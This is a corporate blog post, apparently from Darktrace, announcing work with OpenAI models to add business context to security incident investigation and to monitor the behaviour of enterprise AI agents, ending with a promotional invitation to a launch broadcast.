At the heart of this work is Darktrace's behavioral understanding of customer environments and identification of complex security incidents, combined with OpenAI models that can add context to help explain why an incident matters and its potential impact on the business. By bringing these capabilities into defensive workflows security teams already use, the goal is to give defenders not just greater visibility, but the context and guidance they need to act with confidence.

Since joining the program, we've been working with OpenAI to explore how these capabilities can address specific security challenges for defenders.

The problem we're solving

Attackers continue to change how they operate, including by using AI to increase the speed and scale of some techniques. Security teams are already managing a large volume of alerts, and the question isn't just what's happening, but how it could affect the organization. Even when an incident is fully investigated and correlated, technical severity alone doesn't tell a security team how much it actually matters to the business. That same challenge extends to internal AI adoption. As organizations adopt more AI systems and agents, security teams need visibility into their behavior, access and activity, along with the broader business context needed to identify and investigate potential risk.

Darktrace's Adaptive AI™ builds a detailed, organization-specific picture of what's normal for each environment, and uses that picture to investigate threats and identify complex security activity across domains. OpenAI's models can build on Darktrace's correlated, technically prioritized incidents by adding context that can help defenders understand what may be at stake.

What we're building

Our work is focused on two areas: supporting security investigation and response, and helping defenders identify risky behavior across enterprise AI systems and agents.

The first aligns Darktrace's behavioral understanding with OpenAI models to support  security investigation and prioritization. Darktrace's Adaptive AI continuously learns the unique patterns of normal behavior within each customer it protects, creating a deep, organization-specific understanding of its digital estate. When unusual activity emerges, OpenAI's models can draw on that context to help analysts investigate the incident, understand its significance and assess potential business consequences — reducing the need to manually assemble context from fragmented signals.

Second, we are exploring how these capabilities can support AI-agent and runtime security through Darktrace / SECURE AI™. OpenAI’s Daybreak models can build on the detections and visibility Darktrace / SECURE AI provides, connecting signals across a customer's environment and help defenders identify potentially risky behavior involving AI systems and agents. Activity that might appear isolated can instead be connected with related signals, helping defenders investigate the broader context and determine appropriate remediation.

Darktrace brings deep cybersecurity expertise, an evolving understanding of each customer's environment, and AI-driven identification of threats across the digital estate. Through the Daybreak Defense Network, Darktrace is exploring how OpenAI models can augment those capabilities in defensive security workflows — supporting incident investigation and response and improving visibility into AI-agent and runtime risk.

These capabilities are still in development, and we're excited to continue building on this work.

To learn more about how Darktrace continues to innovate to meet today's most pressing security challenges, register for our upcoming launch broadcast here.

Continue reading
About the author
Your data. Our AI.
Elevate your network security with Darktrace AI